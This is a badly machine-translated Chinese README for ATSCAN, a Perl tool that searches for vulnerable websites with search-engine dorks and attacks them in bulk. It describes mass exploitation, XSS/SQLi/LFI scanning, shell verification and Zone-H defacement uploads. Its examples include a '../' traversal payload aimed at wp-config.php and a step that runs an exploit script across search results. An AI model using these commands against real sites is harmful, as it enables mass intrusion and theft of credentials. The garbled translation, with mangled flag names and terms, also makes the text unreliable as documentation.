ATSCAN

ATSCAN扫描仪

高级大众搜索 /笨蛋 /剥削扫描仪

Alisam Technology对未经同意的任何脚本造成的滥用，由此脚本造成的损害或攻击目标概不负责！遵守法律是您的责任！

代号：	4N0N4T
作者：	Ali Mehdioui
团体：	Alisam@Technology

★描述：

●发动机：[Google Apis Cache] Bing Ask Yandex Sogou Exalead Shodan ●大众傻瓜搜索 ●多次即时扫描。 ●大规模剥削 ●使用代理。 ●随机用户代理。 ●随机引擎。 ●大规模外部命令执行。 ●利用和问题搜索。 ●XSS / SQLI / LFI / AFD扫描仪。 ●过滤WordPress和Joomla站点。 ●WordPress主题和插件检测。 ●查找管理页。 ●解码 /编码base64 / MD5	●端口扫描。 ●收集IP ●收集电子邮件。 ●自动检测错误。 ●自动检测表格。 ●自动检测CMS。 ●发布数据。 ●自动序列中继器。 ●验证。 ●发布并获取方法 ●IP本地化 ●问题并利用搜索 ●交互式和正常接口。 ●以及更多...

★要安装的库：

需要PERL。 在所有平台中工作。在Blackarch和Dracos Linux中可用。

★下载：

●git克隆https://github.com/alisamtechnology/alscan ●直接链接：https：//github.com/alisamtechnology/Atscan

★许可：

CD ATSCAN chmod +x ./atscan.pl

★安装：

chmod +x ./install.sh ./install.sh

★执行：

便携式执行：perl ./atscan.pl 安装工具执行：ATSCAN 菜单：应用程序> Web应用程序分析> ATSCAN

★维修工具：

ATSCAN-修复

★卸载工具：

ATSCAN - Uninstall

★命令：

- 螺旋 / -h 帮助。 - 代理人 设置扫描的tor代理[ex：-proxy“ socks4：// localhost：9050”] 设置代理[ex：-proxy“ http：//12.45.44.2:8080”] 设置代理列表[ex：-proxy文件] - prandom 随机代理[ex： - prandom file]或 - prandom“袜子：// localhost：9050”] -Motor / -m bing Google问Yandex Sogou Exalead Googleapis GoogleCache或所有 - Apikey Apikey -cx Googleapis ID - mrandom 给定引擎的随机 - Brandom 随机所有投票代理 - 弗雷克 随机时间频率（以秒为单位） - 时间 设置浏览器超时 -dork / -d 傻瓜搜索[ex：House [其他]汽车[其他]酒店] -target / -t 目标 - 级别 / -l 扫描水平（扫描结果页面的数量） - 区 搜索引擎国家。 - Param / -p 设置测试参数EX：ID，CAT，PRODUCT_ID -save / -s 输出。 - 来源 HTML输出文件 - -bugtraq SERACH利用和问题 - 内容 打印请求内容 - 数据 发布并获取表格。见示例 - vshell 通过URL ex验证： - host/shell.php或文件 - 邮政 使用邮政方法 - 得到 使用获取方法 - 头 设置标题 - 满头 打印完整的请求标题 - 主持人 域名[ex：site.com] - Nobanner 隐藏工具横幅 - 嘟 如果发现正扫描，则会产生蜂鸣声。 - ifend 扫描过程完成后产生蜂鸣声。 - 纳入 没有扫描冗长。 - ping 主机ping。 - 限制 限制最大阳性扫描结果。 - valid / -v 通过字符串验证至少1匹配 - 瓦利德尔 验证所有给定的字符串 - 地位 通过HTTP标头状态进行验证 - 服务器 通过服务器验证 - ifinurl 获得具有精确字符串匹配的目标 - 瑞格克斯 获得具有确切正则匹配的目标 - 排除 获取html中不存在字符串的目标 - ExcludeAll 获取HTML中所有字符串不存在的目标 - 独特的 获得具有确切dork匹配的目标 - 代替 替换精确的字符串 - 从重建 从字符串到目标末端替换 -exp / -e 利用/有效载荷将添加到完整的目标 - exphost 漏洞利用将添加到主机 - Expip 漏洞利用将添加到主机IP -xss XSS扫描 -SQL SQLI扫描 -lfi 本地文件包含 - joomrfi 扫描Joomla本地文件包含。 - 壳 shell链接[ex：http：//www.site.com/shell.txt] -WPAFD 扫描WordPress网站以进行任意文件下载 - 行政 获取站点管理页面 - 主机 获取站点子域 - 港口 港口 -tcp TCP端口 - udp UDP端口 - getLinks 获取目标HTML链接 -WP WordPress网站 - 乔姆 Joomla网站 - 拉链 获取zip文件 -MD5 转换为MD5 -encode64 编码base64字符串 -decode64 解码base64字符串 - 目标 将在Extern命令中被Target替换 - 主持人 将由Extern命令中的主机替换 - 主持人 将由主机IP替换在Extern命令中 - 港口 将由Extern命令中的开放端口取代 -ips 收集IP -Geoloc IP地球化 - regex 爬行以获取符合正则符合正则的琴弦 - 毫无意义 从查询URL中删除字符串值[ex：site.com/index.php?id=string] - 命令 / -c 外部命令执行 - 弹出窗口 在新终端窗口中执行外部命令 -Zoneh 上传到Zone-H -savecookie Cookies输出文件 - 固定的 cookie文件 - 电子邮件 收集电子邮件 响（xy） 例如：-exphost“ /index.php?id=rang(1-9）” -SQL或-T” site.com/index.php?id=rang=rang(1-9）” - -SQL site.com/index.php?id=1-> 9。 重复（txt-y） 例如：-exphost“/index.php?id=repeat(../-9)wp-config.php” -status 200或-t“ site.com/index.php?id=../wp-config.php” 在site.com/index.php?id=../wp-config.php中，然后site.com/index.php?id=../../wp-config.php 9次 [其他] 分离值ex：dork1 [other] dork2 [other] dork3 - googleapi Google API - 肖丹 Shodan搜索 - 数数 搜索没有结果的shodan - 数数 搜索shodan - dnsreverset Shodan反向DNS查找 - dnsresolve Shodan解决DNS查找 - tokens 字符串过滤器和参数 - Queryysearch 搜索保存的Shodan搜索查询目录 - 询问 列出保存的Shodan搜索查询 - QueryTags 列出最受欢迎的Shodan标签 -Myip 列出Shodan爬网的所有服务 - 服务 列出Shodan爬网的所有服务 - apinfo 我的Shodan API计划信息 - 港口 爬虫正在寻找的端口号列表 - 合理 列出在通过Shodan执行按需互联网扫描时可以使用的所有协议。 - 金锥 计算蜜罐分数范围从0（不是蜜罐）到1.0（是蜜罐） - 面 Shodan搜索方面 - 更新 更新工具 - 维修 维修或强制工具更新。 - 工具 / -？ 工具信息。 -Config 用户配置。 - 互动 / -i 交互式模式接口。 - Uninstall 卸载工具。

★例子：

●代理： tor：-proxy [proxy] [ex： - -proxy Socks：// localhost：9050]。 代理：-proxy [代理] ex：-proxy http：//12.32.1.5:8080 或-proxy文件ex：-proxy my_proxies.txt ●随机： 随机代理： - prandom [代理文件] 随机浏览器： - Brandom 随机发动机：-mrandom [引擎] ●设置标头： ATSCAN - dork [dork / dorks.txt] - level [level] -HEADER“授权=>'基本ywrtaw46ywrtaw4'，keep_alive =>'1'” atscan -t target -data“ name =>用户名，email => xxxxxx，pass => xxxxx” - post -header“授权=>'基本ywrtaw46ywrtaw4'，keep_alive =>'1' ●搜索引擎： 搜索：AtScan- -dork [dork] - level [level] 搜索：ATSCAN -D [DORK] -L [latve] - GetLinks 设置引擎：ATSCAN - DORK [DORK] - LEVEL [LEVEL] -M BING或GOOGLE，询问，Yandex或全部 设置选择性引擎：ATSCAN -D [DORK] -L [LEVEL] -M GOOGLE，BING，.. 搜索许多傻瓜：atscan- dork dork1 [other] dork2 [other] dork3] - level [level] 获取服务器WordPress站点：ATSCAN -T [TARGET] -WP 搜索 +输出：ATSCAN - dork [dorks.txt] - level [level] - save -save 搜索 +获取电子邮件：atscan -d [dorks.txt] -l [level] - email 搜索 +获取网站电子邮件：ATSCAN - DORK网站：site.com-级别[latvel] - email 搜索 +获取IPS：ATSCAN -DORK [DORK] - LEVEL [LEVEL] -IPS ●正则表达式： REGEX使用：ATSCAN [-dork [Dork> / -t [target]] - level [latve] -regex [regex] IP：（（？:(？：25 [0-5] | 2 [0-4] [0-9] | [01]？[0-9] [0-9] [0-9]？）。）{3}（？：25 [0-5] | 2 [0-4] [0-4] [0-9] [0-9] [0-9] | [01]？[0-9]？[0-9]？ 电子邮件： '（（（（[A-ZA-Z0-9]+_+）|（[A-ZA-Z0-9]+ - +）|（[A-ZA-Z0-9]+。+。+）|（[A-ZA-Z0--- 9]+ ++））*[a-za-z0-9]+@（（（（ w+ - +））|（ w+。））* w {1,63} 。 ●中继器： atscan -t site.com?index.php?id=rang（1-10）-SQL atscan -t [target] - exphost“/index.php?id=rang（1-10）” - -SQL ATSCAN -T [target] -exphost“ /index.php?id=repeat(../-9)wp-config.php” ●端口 ATSCAN -T [ip] -port [port] [-udp / -tcp] ATSCAN -T（IP启动） - （IP END）-PORT [port] [-udp / -tcp] atscan -t [ip] -port（port start） - （端口端）[ - udp / -tcp] - 命令“您的extern命令” ●编码 /解码： 生成MD5：-MD5 [String] Encode base64：-encode64 [String] DECODE base64：-decode64 [String] ●数据： 数据：atscan -t [target] -data“ field1 => value1，field2 => valie2，field3 => value3” [ - post / - get /] exploit：--exp / exphost -data“ field1 => valie1，field2 => valie2，field3 => valie3” --vshell [shell path] -v [string] / -status [code] [ - post / - get / - upload] WordList：-data“ field1 => value1，field2 => WordList：” --vshell [shell path] -v [string] / -status [code] [ - post / - get] ●外部命令： ATSCAN - DORK [DORK / DORKS.TXT] - 级别[级别] - 命令“ curl -v -target” ATSCAN - DORK [DORK / DORKS.TXT] - 级别[latver] - 命令“文件” ATSCAN - DORK [DORK / DORKS.TXT] -Level [Level] - 命令“ curl -v -horst” ATSCAN - DORK [DORK / DORKS.TXT] - 级别[级别] -Command“ NMAP -SV -P 21,22,80 -HOSTIP” atscan -d“/lib/scripts/dl-skin.php” -l 2 -m bing-command“ php wp-dl-skin.php-exploit.php -target” ATSCAN - -Shodan -search [string] -apikey [API键] -command [extern_command] ●多次扫描： ATSCAN -DORK [DORK> - LEVEL [10] -SQL - -LFI -WP .. ATSCAN - DORK [DORK> - LEVEL [10] -replace [string => new_string] -exp / exphost [有效载荷] [ - -SQL / - -lfi / -wp / ...] atscan -t [ip] - level [10] [ - -SQL / - -lfi / -wp / ...] ATSCAN -T [target] [ - -SQL / -LFI / -WP / ...] ● IP本地化： ATSCAN -T [IP/TARGET] - GEOLOC ●搜索验证： atscan -d [dork / dorks.txt] -l [level] -status [code] / -valid [string / file] atscan -d [dork / dorks.txt] -l [level] -status [code] / -valid [string / file] atscan -d [dork / dorks.txt] -l [level] -status [code] / -exclude [string / file] atscan -d [dork / dorks.txt] -l [level] -ifinurl [string] atscan -d [dork / dorks.txt] -l [level] -sregex [regex] - valid [string] atscan -d [dork / dorks.txt] -l [level] -regex [regex] -valid [string] atscan -d [dork / dorks.txt] -l [level] - 唯一 ATSCAN -T [target / targets.txt] [-status [code] / -valid [string] atscan -t [target / targets.txt] -vshell [文件路径] atscan -d [dork / dorks.txt] -l [latve] -exp / exphost [有效载荷] - status [code] / - valid [string] atscan -d [dorks.txt] -l [level] - replace [string => new_string] -status [code] / -valid [string] atscan -d [dork / dorks.txt] -l [latve] [ - admin / -sql ..] -status [code] / -valid [string] atscan -d [dorks.txt] -l [level] - replace [string => new_string] -status [code] / -valid [string] atscan -d [dorks.txt] -l [level] -replacefrom [string => new_string] -status [code] / -valid [string] atscan -d [dorks.txt] -l [latve] - replace [string => new_string] --exp / exphost [有效载荷] - status [code] / -valid [string] atscan -d [dork / dorks.txt] -l [级别] [ - sql / - shost ..] - status [code] / - valid [string] atscan -t [target / targets.txt] -Valid [string] - exclude [string] ●区域H： atscan -t [target / targets.txt] -v [string] -zoneh“ notifier => - horst / index.php” ●搜索利用： ATSCAN - -bugtraq -d [string] -l 1 ex：atscan -bugtraq -d wordpress -l 1 ATSCAN - -bugtraq -d file.txt -l 1 ATSCAN - -bugtraq -d [string] -l 1- limit 10 ● googleapis搜索 ATSCAN - -dork [字符串或文件] -l 1 -apikey [API键] -CX [ID] ATSCAN - -dork [字符串或文件] -l 1 -apikey [API键] -CX [id] -v [string] ATSCAN - -dork [字符串或文件] -l 1 -apikey [api键] -cx [id] -exp [exploit] ATSCAN - -dork [字符串或文件] -l 1 -apikey [api键] -CX [id] [任何APTION] ● Shodan搜索 ATSCAN- -Shodan -targget [IP或主机或文件] -Apikey [API键] ATSCAN- -Shodan -Dork [String或File] -apikey [API键] ATSCAN -SHODAN - -DNSROSVEL [IP或主机或文件] -Apikey [API键] ATSCAN -SHODAN -DNSREVESE [IP或主机或文件] -Apikey [API键] ATSCAN- -Shodan-计数[查询或文件] -Apikey [API键] ATSCAN -SHODAN -QUERY -APIKEY [API键] ATSCAN - -Shodan -SquerySearch [查询或文件] -Apikey [API键] ATSCAN -SHODAN -QueryTags -Apikey [API键] ATSCAN -SHODAN -MYIP -APIKEY [API键] ATSCAN -SHODAN -APINFO -APIKEY [API键] ATSCAN- -Shodan-服务-Apikey [API键] ATSCAN -SHODAN -PORTS -APIKEY [API键] ATSCAN- -Shodan- t -tokens [string或file] -apikey [api键] ●更新工具： ATSCAN-更新 ●卸载工具： ATSCAN - Uninstall ●谢谢： Blackarch Linux＆Dragos OS开发人员将我的项目纳入他们的系统。